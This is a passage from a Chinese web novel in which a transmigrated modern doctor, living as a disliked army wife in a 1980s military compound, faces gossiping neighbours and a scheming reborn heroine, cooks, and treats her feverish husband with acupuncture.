赵晓燕被这笑容晃得一愣，随即爽朗地摆摆手："我叫赵晓燕，你叫我姐就行！" "赵姐。"沈晚立刻嘴甜地喊道，声音清脆悦耳。 赵晓燕被哄得眉开眼笑："哎！这声姐叫得真舒坦！" 旁边的李丽看不下去了，阴阳怪气道："赵晓燕，你巴结她干啥？之前死活不来部队，现在霍团长要跟她离了，就死皮赖脸地带着孩子来部队赖着！咋地，怕离了婚没人养活啊？" 赵晓燕一听这话，顿时火冒三丈："李丽，你咋这么能嚼舌根子呢？人家两口子的事关你屁事，一天天搁背后瞎嘚嘚，也不怕闪了舌头。" 李丽被怼得脸色一阵青一阵白，不甘示弱地回呛："我说错了吗？全家属院谁不知道她沈晚是个啥德行！霍团长这些年遭了多少罪。" 两人平常就经常在家属院里拌嘴，其他人都见怪不怪了。 就这么一会儿功夫，沈晚已经看出这个赵大姐是个爽朗耿直的东北女人，心直口快，一点坏心眼都没有。 沈晚温声道："赵姐，别生气，反正我和霍沉舟快离婚了，她们怎么说都行。" 这话一出，周围顿时安静了几秒，几个军嫂面面相觑，显然没想到沈晚会这么坦然地说出来。 李丽先是一愣，随即撇了撇嘴："装这么大度，心里指不定想什么呢。" 一阵刺骨的寒风吹来，沈晚不自觉地缩了缩脖子，原主是南方人，当然适应不了东北的严寒。 赵晓燕本来还想说什么，见状立刻心疼地推着她往屋里走："哎呦我的妹子，你赶紧进屋吧！听说你是南方人，第一次来东北，肯定扛不住这冻！"她边说边用自己厚实的身子给沈晚挡风。 沈晚感激地朝赵晓燕笑笑："谢谢赵姐，那我先回去了。" 回到屋里，沈晚被冻麻的脚终于暖和了一点。 她冲霍小川展示了一下怀里的手擀面："小川，今天晚上先吃面条凑合一下。" 霍小川刚想说还是他来吧，他会煮面条，就看见沈晚已经手脚麻利地走到灶台前。 这是东北特有的地灶，用砖砌成。 沈晚学着顾战的模样，往灶膛里塞了些柴火，划了根火柴。 "咳咳咳，"火没烧起来，反倒冒出一大股黑烟，呛得沈晚眼泪直流。 旁边的霍小川看不下去了，小大人似的接过沈晚手里的柴火："我来吧。" 小家伙动作娴熟地拨弄了几下灶膛，又往里塞了把干草，火苗"呼"地一下就窜了起来。 沈晚惊讶地看着他，忍不住夸道："小川，你可真厉害！" 霍小川抿了抿唇，妈妈还从来没夸过他呢，他心里不禁涌起一丝小雀跃。 等水烧开，沈晚立刻下面条，还打了两个荷包蛋，热腾腾的蒸汽模糊了窗户，屋里飘满了面条的香气。 沈晚给霍小川盛了一小碗，给自己盛了一大碗，她现在饿得感觉能吃下一头牛。 霍小川看着面前的面条，其实顾战叔叔已经带他开过小灶了，这会儿并不太饿。 但他还是乖乖拿起筷子，小口小口地吃起来："好吃。" 沈晚冲他一笑："那你多吃点，不够锅里还有。" 一大一小就这样不知不觉把一整锅面条都吃光了。 沈晚满足地捂着肚子躺到热乎乎的炕上，暖意瞬间从后背蔓延到全身。这火炕热得恰到好处，像被太阳晒过的沙滩，熨帖得人浑身发软。 睡意渐渐袭来，沈晚强撑着精神从柜子里找出两条厚被子："小川，今晚你先和我睡一屋。" 刚才沈晚已经看过了，家里只有两间卧室，另一个卧室还没收拾，所幸这个炕很大很宽。 霍小川眼睛一亮，立刻抱着自己的小枕头蹭过来，小心翼翼地挨着沈晚躺下。 白天实在是太累了，母子俩刚躺下就沉沉睡去，一觉睡到了上午十点。 太阳已经照亮了大半个屋子，沈晚被院外一阵欢笑声吵醒。 第七章 本书女主 "哎呀琴杉，你这从家里带的腊肠可真香！"李丽的大嗓门格外响亮。 "嫂子们喜欢就好~"一个温柔的女声传来，"这是我妈亲手腌的，特意嘱咐我多带些来给大伙尝尝。" "苏同志长得漂亮性格又这么好！"另一个军嫂奉承道，"听说你和顾营长快结婚了？到时候可得请我们吃喜糖啊！" 苏琴杉羞涩地低下头："各位嫂子就别拿我打趣了。" 沈晚听到"苏琴杉"三个字，顿时清醒过来。这不就是原著里那个重生女主吗？ 原著剧情，苏琴杉前世贪慕虚荣，抛弃青梅竹马的军官未婚夫顾战，攀附高干子弟，最终惨死。 重生后，她幡然醒悟，主动挽回顾战，两人破镜重圆，成了人人称羡的模范军婚。 沈晚对这个苏琴杉并没有太多好感，毕竟人的品行不会轻易改变。 沈晚掀开被子下炕，看见霍小川还在呼呼大睡，小脸睡得红扑扑的，便轻轻把他的被子往上提了提，然后从原主带来的行李里找出一身干净的衣服。 她换了件米色高领毛衣和黑色毛呢裤，外面套了一件浅灰色的呢子大衣，又暖和又洋气。 目前看来原主的审美还是在线的。 沈晚找了条新毛巾，端着搪瓷脸盆和暖水壶来到院子角落里用水泥砌成的水池前。 当她走出屋时，才看清苏琴杉的模样——瓜子脸，杏眼，扎着两条麻花辫，穿着件半新的红棉袄。 虽然算得上清秀可人，但和沈晚一比，顿时黯然失色。 晨光中，沈晚乌黑的长发随意披散，瓷白的肌肤透着淡淡的粉，睫毛微微发颤，她只是站在那里，就自成一幅画。 苏琴杉眼神微动，轻声问道："李嫂子，那位是？" 李丽立刻不屑地瘪了瘪嘴："苏同志，你以后可得离她远点！那是霍团长老家的媳妇，又懒又坏，听说把霍团长这几年的津贴全败光了！这不，听说霍团长要和她离婚了，死乞白赖地带着孩子来部队闹呢！" 苏琴杉若有所思地点点头：“原来她就是霍沉舟的媳妇。” 沈晚拧开水龙头，却发现没有一滴水流出来，她皱着眉拍了两下水管，估计是天气太冷给冻住了。 李丽注意到这边的动静，立刻扯着嗓子嘲讽："哎呦喂，果然是个十指不沾阳春水的，连水管冻住了都不知道咋整，一点生活常识都没有。" 苏琴杉却热情地走过来："同志，昨天晚上太冷了，水管都被冻住了，你可以用热水浇一浇出水口。" 沈晚对她礼貌道谢："谢谢。" 苏琴杉笑容甜美："不客气，都是军属，互相帮助是应该的，你是霍团长的爱人吧？听说他受伤了，现在好些了吗？" 苏琴杉表面上一副关心的模样，但沈晚却能读出她的弦外之音。 霍沉舟要是瘸了，顾战就能升迁，这位重生女主怕是迫不及待想做团长夫人、甚至未来的师长夫人了。 "挺好的，"沈晚神色如常，"医生说过几天就能出院了。" 苏琴杉明显一愣。今天早上听顾战说霍沉舟没事，她还以为是他心里难受嘴硬。 顾战当时有急事匆匆走了，都没来得及和她细说。 她这才放下行李就赶紧来讨好家属院的军嫂们，想提前打好关系。 现在听沈晚也这么说，苏琴杉脸上的笑容僵了一瞬，试探地问：“真的？” 沈晚似笑非笑地看着苏琴杉："苏同志，怎么，难道你不希望霍沉舟伤好吗？" 这一口大锅压下来，苏琴杉慌忙摆手："不是不是，你误会了！"她眼眶微红，声音都带上了哭腔，"我就是关心霍团长。" 旁边的李丽看不下去了，叉着腰冲过来，唾沫星子乱飞："沈晚，你少在这血口喷人！人家琴杉好心好意帮你，你还倒打一耙！" 苏琴杉委屈地拉住李丽："嫂子，你别说了，沈同志应该是误会我了。"她咬着嘴唇，眼泪要掉不掉的样子，看着就让人心疼。 李丽见状更来气了：“琴杉，你就是性子太软了，这样不行，容易被人欺负。” 沈晚在心里翻了个白眼，这个蠢货被人当枪使都不知道。 李丽被苏琴杉拉走的时候，还在忿忿不平地数落着："琴杉你就是太好心了，要我说啊……"声音渐渐远去。 沈晚先用热水浇开冻住的水管，然后快速洗漱完毕。 刚收拾利索，突然感觉肚子有点疼，可能是受凉了。 她翻箱倒柜找了半天，家里竟然连张纸都没有。 强忍着阵痛，沈晚小跑着来到隔壁赵晓燕家："赵姐？" 赵晓燕听见声音立刻回应："咋了小晚妹子？" 沈晚有些尴尬地开口："赵姐，家里没有纸，我想上厕所......" 赵晓燕先是一愣，随即一副想笑又憋着的模样："等着，俺给你拿点！"她转身进屋，不一会儿拿出两卷淡黄色的粗糙草纸，“用这个。” 这纸摸着剌手，但现在也顾不上了，沈晚红着脸接过："谢谢赵姐。" "谢啥！"赵晓燕爽朗地摆手，"赶紧去吧！对了，你知道茅厕在哪吗？要不要我带你去？" 沈晚没有和人一起去厕所的爱好，她婉拒道："不用了赵姐，昨天我来的时候看见了。" 公厕就在家属院最东边，虽然条件有限，但八零年代军区大院的公厕已经盖得很讲究了。 不仅分男女厕，还都是单间设计，比普通农村的旱厕强多了。 沈晚找了一个没人的隔间刚蹲下，就听见外面传来一阵脚步声和说话声。 "要我说啊，霍团长这次伤好了，肯定第一时间跟沈晚离婚！"李丽尖锐的声音极具代表性，沈晚一听就知道是她。 "嫂子，你别这么说，这都是没准的事。"苏琴杉柔柔地劝道。 李丽撇了撇嘴："霍团长这些年都好好的，她一来就受伤了，要我说，这个沈晚就是个灾星！" 沈晚蹲在隔间里："？？" 锅从天上来。 苏琴杉不着痕迹地勾了勾唇角："嫂子，我听说那个沈同志会医术？还救了霍团长呢。" 第八章 职业病 "呸！"李丽立刻打断，"就她？大字不识几个的村姑，会什么医术！肯定是瞎猫碰上死耗子！"她压低声音，"我听说啊，她就是用些乡下土方子，差点害了霍团长呢。" 沈晚之前只听说过"谣言能杀人"，今天才真正见识到谣言能离谱到什么程度。 她好心救了霍沉舟一命，传到这些人嘴里，反倒成了害他。 简直离谱他妈给离谱开门，离谱到家了！ 沈晚整理好衣服，猛地把隔间的门推开，把李丽和苏琴杉吓了一跳，李丽神情有点尴尬：“你一直在啊。” 沈晚边洗手边嘲弄地说：“我要是不在，都不知道自己都被传成一个祸害丈夫的恶毒女人。” 李丽梗着脖子还想狡辩，沈晚突然比了一个“嘘”的手势：“别说话，不然你这满嘴喷粪的，把厕所都给污染了。” "你！"李丽气死了，偏偏这时候肚子又是一阵绞痛，她捂着肚子说："琴杉，我肚子疼，先上个茅厕！" 苏琴杉本来还温顺地点点头：“嫂子，我等你。” 李丽急急忙忙推开一个隔间门，刚蹲下就传来一阵噼里啪啦的声响，紧接着恶臭弥漫整个厕所。 苏琴杉精致的脸蛋瞬间黑了，捂着鼻子连退好几步。 她强忍着恶心：“嫂子，我突然想到家里还有点事，我先回去了。” 不等李丽回答，就赶紧跑了。 沈晚嫌弃地用手在鼻尖扇了扇，连忙走出厕所。 她走后不久，又有两个军嫂来上厕所。 其中一个军嫂刚踏进厕所就"呕"了一声，连忙捂住鼻子："谁拉屎这么臭啊？吃什么了这是？" 正巧这时李丽又是一阵"噗噜噗噜"的声响，隔间外的两个军嫂顿时捏着鼻子跳开。 "哎哟我的妈呀！"一个军嫂脸都绿了，"这也太臭了！谁在里面啊？" 李丽缩在隔间里，臊得满脸通红，愣是没敢吱声。 "受不了了！"另一个军嫂拽着同伴就往外跑，"咱去隔壁那个公厕吧！这味儿能把人熏晕过去！" 等到外边完全没有动静了，李丽才鬼鬼祟祟地从隔间里溜出来，灰溜溜地往家跑。 沈晚回到家时，霍小川已经醒了，还乖巧地把被子都叠成了小豆腐块。 看到孩子亮晶晶期待表扬的眼神，沈晚忍不住揉了揉他的小脑袋："小川真棒！" 霍小川羞涩地低下头，小手揪着衣角："妈妈，我想去看爸爸，可以吗？"见沈晚没立即回答，他赶紧补充，"不用麻烦妈妈，我认得路，自己去就行。" 沈晚略一思索："家里什么都没有，妈妈得先去服务社买点生活用品。"她蹲下身平视霍小川，"我们晚点再去看爸爸好不好？他现在需要静养。" 霍小川没想到妈妈这么好说话，惊喜地猛点头：“好！那我去帮妈妈拿东西。” 沈晚并没有要娇惯孩子的想法，不仅爽快地同意带霍小川一起去服务社，还给他安排了任务："你帮妈妈先把灶生起火，我们吃完饭就出门。" 虽然是让他做事，但霍小川心里没有丝毫反感，反而干劲十足地跑去生火。 沈晚用昨天剩下的鸡蛋做了碗嫩滑的鸡蛋羹，又下了两碗清汤面。 正吃着饭，院外突然传来赵晓燕的大嗓门："小晚妹子！吃完没？今天服务社来了一批新鲜猪肉，咱得赶紧去，不然抢不着了！" 沈晚赶紧吸溜两口面条："赵姐等一下，马上好！" 霍小川一听，把小脸埋进碗里，呼噜呼噜把剩下的面条和鸡蛋羹吃得干干净净，碗底亮得能照出人影来。 沈晚看着他狼吞虎咽的样子，心里莫名涌起一股成就感。 她三两下收拾好碗筷，把碗往水盆里一浸，又给霍小川多围了条毛线围巾，把他裹得严严实实的。 "妈妈，我帮你拿篮子！"霍小川主动抱起墙角的竹篮。 沈晚笑着捏了捏他的脸蛋："走吧，咱们去买好吃的。" 一出门，就看见在院子里等他们的赵晓燕："哎呦我的妹子，可算出来了！再晚点好肉都让人挑光喽！" 赵晓燕一手抓着沈晚，一手拉着霍小川，风风火火就往部队服务社赶。 凛冽的北风像刀子一样刮在脸上，沈晚这个地地道道的南方人第一次体会到什么叫冻得脚都没知觉。 她缩着脖子，感觉连呼吸都带着冰碴子。 路上，沈晚职业病犯了，手指不自觉地搭上赵晓燕的手腕。 脉象沉细无力，典型的宫寒难孕之症，这毛病放在现代，很容易就能调理好，但在这个缺医少药的年代，估计不太好治。 赵晓燕应该也吃了几年的药了，一直没有好转。 她今年也就二十八岁，放在现代正是事业上升期，但在八十年代的部队大院，这个年纪还没孩子，估计没少被人背后戳脊梁骨。 "还没呢，"赵晓燕爽快地回答，脸上看不出丝毫不自在，这本来就是大院人尽皆知的事情，"说来也怪，去医院检查都好好的，但就是要不上孩子。那些补品啊，乌鸡啊，俺家老张没少给我弄，吃得我都快吐了。" 沈晚认真地说："你这身体，其实不用吃那么多补品。" 赵晓燕突然想到沈晚救了霍团长的事情，连忙问她："小晚妹子，听说你救了霍团长？你是不是懂医术？有法子治俺这毛病不？" 沈晚微微一笑："赵姐要是信得过我，等得空了，我给你把把脉，开个方子试试。" 赵晓燕很激动："哎呀！那可太好了，妹子你放心，不管成不成，姐都记你这份情！" 两人说话间已经到了服务社。赵晓燕熟门熟路地拉着沈晚往肉摊挤。 前面排的人不少，赵晓燕踮脚看了眼案板上的肉，拍着胸脯打包票："放心吧妹子，这肉还多着呢，肯定能轮得到咱俩！等会儿姐再给你拿点自家腌的酸菜，你包个酸菜猪肉馅的饺子，我记得霍团长爱吃这个！" 沈晚站在队伍里，立刻成了全场焦点。 第九章 发高烧了 她乌黑的长发被寒风吹得微微飘动，瓷白的肌肤在冬日阳光下泛着莹润的光泽，哪怕裹着臃肿的棉袄也掩不住姣好的身段。 别说小战士了，连来买东西的军属们都看直了眼。 有个认识赵晓燕的军嫂凑过来打听："晓燕，这是谁家的家属啊？头一回见。" 赵晓燕介绍道："这是霍团长的媳妇，叫沈晚，这是霍团长的儿子，昨儿个刚来部队探亲！" 这话一出，原本热络的气氛瞬间凝固。 众人脸上的热络都消失了，就跟被泼了桶凉水一般。 笑话，部队里要是有人不知道霍团长有个胡搅蛮缠的乡下媳妇，才是孤陋寡闻了。 就算眼前这姑娘长得跟天仙似的，可她这些年把霍团长折腾得够呛，不仅把家底败光了，还对孩子不闻不问，把霍团长气得直接打了离婚报告！ 刚才来问赵晓燕的大姐干笑了两声："哦哦，原来是霍团长家里那口子啊。" 霍小川虽然年纪小，但敏锐地察觉到周围人对妈妈的恶意，他紧紧握住沈晚的手，小脸上满是担忧。 沈晚倒是无所谓地捏了捏他的小手，原主确实作妖，她看小说的时候也恨不得给原主两巴掌。 就在这时，前面队伍突然传来一声抱怨："妈，你不是说等霍团长离婚后，就上门帮我说亲吗？现在他媳妇都来部队了，还能轮到我吗？" 沈晚循声望去，是个年纪轻轻的圆脸姑娘正撅着嘴跟身边的中年妇女抱怨，估计也就二十出头，能愿意嫁给二十六岁且二婚的霍沉舟当后妈，看来是真爱。 那妇女吓得赶紧捂住她的嘴："小点声！你个黄花大闺女，说这话也不害臊！" 圆脸姑娘不服气地冷哼一声，抬眼正好撞上沈晚的视线，她立马凶巴巴地瞪了回去。 谁知沈晚不仅没生气，反而笑眯眯地冲她点了点头："同志，没事儿，反正我和霍沉舟快离婚了。到时候让你妈上门提亲就行。" 圆脸姑娘瞪圆了眼睛，嘴巴张得能塞进个鸡蛋，活像见了鬼似的。 她拽着母亲的袖子："妈、妈，她是不是这儿有问题？"说着还指了指自己的脑袋。 那个中年妇女连忙冲沈晚歉意地笑笑："对不住啊霍家媳妇，孩子小不懂事。"说完也顾不上买肉了，直接拽着闺女走了。 周围人听见沈晚说要离婚，先是惊讶，随即又露出果然如此的表情，霍团长那样的好男人，早该甩了这个拖后腿的媳妇了！ 身侧的霍小川听到沈晚的话，心情沮丧极了，他之前也不喜欢妈妈，但他更不想成为没妈的孩子，而且这两天妈妈对他真的很好，他很舍不得妈妈。 赵晓燕一天之内听沈晚说了两次要离婚，一开始还以为她是故意说的，现在看她这么认真，有点坐不住了。 凑到她耳边苦口婆心地劝道："妹子，你可别犯傻！霍团长这样的好男人，全师都找不出第二个！你瞧他长得俊，职位高，在部队这么多年，不少姑娘都对他有意思，但他从来没传出过什么。虽说现在闹离婚，可夫妻哪有隔夜仇，都是睡一个被窝的，你到时候好好哄哄他，保准能挽回。" 沈晚被她说得哭笑不得，合着赵姐这是想让她用美人计。 不过赵姐还是不了解霍沉舟，就霍沉舟那个冷面罗刹，估计她脱光了站在他面前，他都能面不改色。 赵晓燕还想再劝，队伍已经排到她们了。 她熟练地挑着案板上剩下的肉，先给沈晚挑了块肥瘦相间的上等五花："就这块吧，三层五花，包饺子最香！"然后才给自己挑了块后腿肉。 沈晚刚要掏钱付账，割肉的师傅却摆摆手："同志，买肉得要肉票，光给钱可不行。" 沈晚眨眨眼，突然有种捉襟见肘的窘迫，原主倒是带了一点钱，可肉票什么的是一张都没有。 赵晓燕及时解围：“我给我给，多大点事儿。” 沈晚不禁感谢道："赵姐，等我回家就还给你。" "不急不急！"赵晓燕乐呵呵地摆手，"咱姐俩谁跟谁啊！" 经过这短暂的相处，赵晓燕是越来越喜欢沈晚了，这姑娘说话爽快，做事利落，特别对她的脾气！ 买完肉，沈晚又去别的柜台转了一圈。 她先买了些生活必需品：草纸、脸盆、铝制饭盒、暖水壶，又挑了两条厚实的毛巾，在副食品柜台称了半斤粗盐、一包味精、三斤精白面，还买了颗大白菜和几根胡萝卜。 走到糖果柜台时，霍小川的眼睛几乎黏在上面走不动了，沈晚注意到后，主动让柜员称了半斤大白兔奶糖，把霍小川高兴坏了。 回家时，沈晚把重的东西都提在自己手里，只让霍小川抱着那包奶糖和那个搪瓷盆。 回到大院，远远就看见顾战在院子门口来回踱步，脸上写满焦急。 一见到沈晚母子，他立刻迎上来："嫂子，你可算回来了！团长从昨晚开始高烧不退，董院长说让你赶紧去看看。" 沈晚放下手里的东西，冻僵的手指在衣袖里蜷缩着取暖："你等一下，我拿上银针就去。" "行，那你快点儿！"顾战边说边帮她把买来的东西往屋里搬。 沈晚快步进屋取出针包，出门时，顾战已经抱着霍小川在等了。 路上，沈晚问了一下顾战霍沉舟的情况，猜测他是由伤口感染引起的高烧。 以霍沉舟的伤势，能死里逃生已是不易，术后感染发烧其实很正常。 医院—— 霍沉舟的病房里，林怡宁正用酒精棉球轻轻擦拭着他的额头和颈部，一边物理降温，一边跟董建林抱怨："院长，我就说那个沈晚不靠谱！沉舟发了一整夜高烧，肯定是她那些不入流的医术害的！您怎么就这么信她一个外人呢？" 董建林看着面前老友的女儿，忍不住叹了口气："怡宁，作为医生，我相信你知道术后感染发烧很正常，而且沈同志昨天的处理很专业。" 第十章 哄他 林怡宁不依不饶："您忘了她之前是怎么对沉舟的吗？而且连周师长都不喜欢她，那个沈晚肯定很快就会被赶出部队！" 董建林闻言重重叹了口气，门口的顾战忍不住偷瞄沈晚的脸色，心里吐槽这位林医生可少说几句吧。 林怡宁还想继续说沈晚的坏话，病房门突然被推开。 她转头看见沈晚，立刻拉下脸："你竟然还敢来？沉舟都是被你害成这样的！" 沈晚连个眼神都没给她，直接对董建林说："董院长，我先看看霍沉舟的情况。" 董建林连忙让开位置："你看看吧。" 林怡宁想去阻止沈晚，却被顾战一个箭步挡在面前。 沈晚弯腰翻开霍沉舟的眼皮查看，又轻轻抬起他的手腕把脉。 "没什么大事，我给他扎两针，先把体温降下来。" 董建林搓了搓手："好，好！" 沈晚刚想抽回手，突然被一只温热的大手紧紧握住。 她抬眸望去，正对上霍沉舟迷蒙的眼神。 男人因高烧而泛红的眼尾微微上挑，漆黑的眸子里氤氲着水汽，平日里凌厉的目光此刻竟带着几分罕见的脆弱。 "沈晚？"霍沉舟的声音沙哑得不成样子，指腹无意识地摩挲着她细腻的肌肤。 "嗯，是我。"沈晚不自觉放柔了声音，"松手，我要给你扎针。" 霍沉舟脑子晕乎乎的，光听见"扎针"两个字，条件反射般皱起眉头："不扎针。" 真像个不肯配合治疗的孩子。 "听话，"沈晚忍住笑意，像在现代哄小朋友配合治疗一样哄着他，"扎完针就不难受了。" 霍沉舟嘴里还在含混不清地嘟囔着"不扎针"。 顾战使劲抿紧嘴巴，不让自己笑出声来，旁边的林怡宁的脸色黑的像锅底。 一来二去，沈晚没了耐心，直接把男人的手拍开，打开针包，准备扎针。 霍沉舟缓缓睁开眼，入目便是沈晚专注的侧脸。 他的喉结不自觉滚动了一下，这个女人一而再再而三地来帮他，到底有什么目的？ 扎完针，霍沉舟感觉头昏脑热缓解了许多，闭目养神间听到沈晚正在向董建林打听："院长，我想去附近山上挖些药材，不知道方不方便？" 董建林有些惊讶："沈同志想挖药材？这附近的山倒是可以爬，不过……" "不行！"霍沉舟突然睁开眼，声音虽然虚弱却不容置疑，"现在大雪封山，太危险。" 沈晚眨了眨那双水润的杏眼，放软了声音："我就在山脚外围转转，行不行嘛？" 霍沉舟如鲠在喉，一时之间不知道说什么。 顾战见状连忙请命："沈同志，我陪你去就行，其实只要不往深山走，外围不会有什么危险的。" 沈晚顺坡下驴：“那就多谢顾营长了。” “嘿嘿，不谢不谢。” 霍沉舟看着面前两人一拍即合，深吸一口气，伤口隐隐作痛。 沈晚突然一拍脑门："霍沉舟，你还有肉票吗？今天买肉，赵姐给我垫了两斤肉票，我得还给人家。" 霍沉舟皱着眉看她："赵姐？" "就是隔壁的晓燕大姐。"沈晚随口解释。 霍沉舟眼底闪过一丝诧异，沈晚才来一天，居然就跟家属院的军嫂混熟了？他狐疑地问："你买肉干什么？" 沈晚像看傻子一样看着他："做饭啊。" "我怎么不知道你会做饭？"霍沉舟的声音带着明显的怀疑。 过去五年，沈晚下厨的次数屈指可数。 霍小川立刻举起小手替妈妈作证："爸爸，妈妈给我做了鸡蛋羹还有面条，可香了！" 儿子都这么说了，霍沉舟也不再多说什么。 他单手握拳抵在唇边咳嗽了几声，咽了咽刺痛的喉咙："肉票我在卧室抽屉里放了一些，你拿去用吧。" 沈晚点点头表示知道了，董建林见没什么事了，把沈晚叫到了自己办公室。 沈晚一眼就看见桌上摊开的银针和穴位图，忍不住挑眉："董院长，你这是在自学针灸？" 董建林有点不好意思地搓搓手：“昨天看你施针手法很特别，我就自己学了学。” 沈晚好奇地问："院长，您可是外科医生，怎么对中医这么感兴趣？" 董建林怕沈晚误会，解释道："我就是单纯觉得中医神奇。你放心，我绝对不会往外泄露你的针法的，就是自己琢磨着玩玩，平常拿自己试试手。" 沈晚忍不住笑了："没事，我不怕别人学我的针法。"她指了指桌上的穴位图，"不过您这样半懂不懂的，最好别乱扎哈，不然容易把自己扎偏瘫了。" 董建林老脸一红："这么严重？" 沈晚又和董建林聊了一会中医基础知识，把董建林听得一愣一愣的，便起身告辞，刚走出办公室，就在走廊看见了一道熟悉的身影。 苏琴杉正抱着保温桶和顾战说话，声音温柔似水："阿战，我特地给你煲了汤，你趁热喝点吧。" 顾战红着脸挠了挠头："琴杉，我现在没空，晚点再喝吧。" 苏琴杉却不依不饶地撒娇："我这汤可是炖了两个小时呢，你真的不尝尝吗？"她委屈地撅起嘴。 顾战左右张望了一下，见走廊没人注意这边，这才接过保温桶："那就喝一点。" 两人在走廊长椅上坐下。 顾战拧开保温桶的盖子，浓郁的香气顿时飘散开来。 他深深吸了口气："就是这个味道！琴杉，你手艺还是这么好。" 苏琴杉抿唇羞涩一笑："知道你爱喝，我这不刚收拾好行李就给你炖上了。" 顾战刚端起保温桶要喝，苏琴杉突然轻声说道："阿战，听说霍团长受的伤挺严重的，我这汤炖得多，要不也让他尝尝补补身体？" 顾战的动作顿住了，神情明显迟疑起来："这……" 站在转角处的沈晚眼底闪过一丝讥讽。果然，这位女主是迫不及待要来打听霍沉舟的情况了。 "琴杉，"顾战放下保温桶，语气变得严肃，"团长现在需要静养，他刚睡下，咱还是别打扰他了。" 第十一章 五百四十五块六毛 苏琴杉怕顾战多想，立马顺从地点头："之前看你写信提到过那么多次霍团长，我就是想看看什么样的人能让你这么死心塌地。" 顾战憨厚地笑了两声："团长救过我的命，我对他死心塌地是应该的。"他仰头灌了一大口汤，用手背随意擦了擦嘴，"对了琴杉，你前段时间不是写信说你爸妈不同意我们俩的婚事了吗？怎么突然又同意了？" 苏琴杉看着他粗鲁的动作，眼底闪过一丝不易察觉的嫌弃。她把头轻轻靠在顾战肩上："呆子，还能因为什么，肯定是我求情了呗。" 顾战温柔地摸了摸苏琴杉的脸："谢谢你，琴杉，大老远来部队找我。" 苏琴杉顺势依偎进他怀里："阿战，我们俩什么时候结婚啊？" 顾战有些为难："团长现在还没好，咱俩的事可能得缓一缓。这段时间你就安心住在家属院吧。" "好吧。"苏琴杉勉强扯出一抹笑。 这时，顾战余光瞥见沈晚，连忙站起身："嫂子，要走了啊？" 沈晚微微一笑："嗯。" 顾战赶紧把保温桶拧紧放在一旁："我去叫小川，他一直守在团长身边呢。" "不用了，"沈晚摆摆手，"小川想和他爸爸多待一会儿，晚上再回家就行。" 顾战点点头："行，那我晚上亲自送他回去。" 旁边的苏琴杉露出甜美的笑容，主动和沈晚打招呼："沈同志，又见面了。" 顾战有点惊讶："你们已经见过了啊，嫂子，我还没介绍呢，这是我对象，苏琴杉。" 沈晚淡淡点头："早上见过面了。" 她的目光在苏琴杉脸上扫过，虽然对这个做作的女人喜欢不上来，但只要她不耍花样，和顾战好好在一起，自己也懒得管她。 "那你们聊，我先回去了。"沈晚说完，转身往医院外走去。 等沈晚走远，苏琴杉立刻拉着顾战坐下，压低声音道："阿战，我听大院里的其他嫂子说，这个沈晚不是什么好人，霍团长马上就要和她离婚了。" 顾战皱眉："琴杉，你少听这些，再说了，昨天要不是嫂子及时救治，团长那条腿就保不住了，不管怎么样，她对我们是有恩的。" "可是……"苏琴杉还想说什么，却被顾战打断。 "好了，"顾战难得板起脸，"团长家的事咱们别掺和。你刚安顿下来，有什么东西需要买的就买，不要想着给我省钱。" 苏琴杉眉眼弯弯地答应。 * 回到家，沈晚第一件事就是钻进卧室，跪在炕头边翻找起来。 她掀开桌布，从抽屉最底层摸出一个鼓鼓囊囊的牛皮纸信封。 沈晚把信封里的东西倒在炕上。 一沓整齐的钞票散开，还有各种票据：肉票、布票、粮票，甚至还有几张稀罕的工业票。 她仔细数了两遍——五百四十五块六毛，一分不少。 "啧，"沈晚不禁咂舌，"这男人心可真大。" 要知道原主可是有过一周挥霍三千块的"壮举"，霍沉舟居然还敢把这么多钱放在家里交给她保管。 她抽出两张肉票和二十块钱零用，剩下的原样包好放回抽屉。 沈晚拿着肉票去隔壁找赵晓燕，站在院子里喊了两声："赵姐？赵姐？" "哎呦我的妹子，"赵晓燕从窗户探出头，"从医院回来啦？快进屋快进屋！"她热情地招手。 沈晚这才进了屋，发现这房子的格局和自己家差不多，都是两间卧室带个洗澡间和小厨房。 赵晓燕正在案板前和面："你回来的正好！我正想包饺子呢，咱俩一块儿整！你要是不会，姐教你！" 沈晚掏出肉票递给赵晓燕，"这是上午借您的肉票，多谢了。" 赵晓燕随手把肉票塞进围裙兜里："这么客气干啥，我又不急着要。" "这年头谁家都不富裕，"沈晚认真道，"我就想早点还您。" 这话说得赵晓燕心头一热，看沈晚的眼神更亲近了几分："那你洗洗手，咱包饺子。" "行。"沈晚应了声，回家把上午买的五花肉和白面都拿了过来。 她先把肉放在案板上，拿起菜刀"咚咚咚"地剁起来。 刀刃在肉块上快速起落，肉馅很快就变得细腻均匀。 这活要是放在现代，绞肉机一分钟就能搞定，现在全靠手工，还真有点费劲。 沈晚又开始和面，加水、揉捏、醒面，面团渐渐变得光滑柔软。 赵晓燕本来还担心她不会，现在一看这架势，比自己都不差！ 赵晓燕从腌菜缸里捞出两颗酸菜，切碎拌进肉馅里。 没多久，两人就包出了几十个元宝似的饺子，整整齐齐码在盖帘上。 沈晚把自己包的那份饺子端回家，又把剩下的肉放进院子角落的"天然冰箱"——一个半埋在地下的大缸里。 东北冬天的室外就是最好的冷藏室，零下二三十度的气温，肉菜放在背阴处能保存好几天。 包好饺子，沈晚总算腾出手来，能仔细给赵晓燕把脉了。 赵晓燕紧张地坐在桌前，眼睛一眨不眨地盯着沈晚，她感觉自己的心跳快得要从嗓子眼蹦出来了。 沈晚垂眸静气，三指稳稳搭在赵晓燕的腕间。 赵晓燕见她久久不语，忍不住咽了口唾沫："妹子，怎么样？要是实在不行，我也不会怪你的。" 沈晚收回手，展颜一笑："能治。"她拿过纸笔，"我给你开个方子，你和姐夫看看哪里能买到药材，就是中药很苦，可能要受点罪了。" 赵晓燕眼眶瞬间红了："良药苦口利于病的道理我懂！妹子你只管开方子，就是黄连汤我也喝！" 沈晚笔下不停，娟秀的字迹在纸上铺开：当归、川芎、熟地、白芍…… "赵姐，"她边写边解释，“你这是宫寒难孕，需要温经散寒、调理冲任。我先开七副药，吃完再看效果。” 赵晓燕已经迫不及待想等丈夫回来和他说这件大喜事了。 沈晚把药方开好，便回家了，临走前，赵晓燕死活要塞给她一网兜冻梨："可甜了，你拿回去尝尝！" 沈晚好奇地打量着这些黑不溜秋的冻梨，在现代她还真没吃过这东北特产，但是听说很好吃。 第十二章 送饺子 回到家后，沈晚按照赵晓燕教的方法，把冻梨放进凉水里缓着，不一会儿，梨子表面就结出了一层晶莹的冰壳。 沈晚捞出一个，轻轻剥开那层薄冰，里面的梨肉已经变成了深褐色，她小心地咬了一口—— 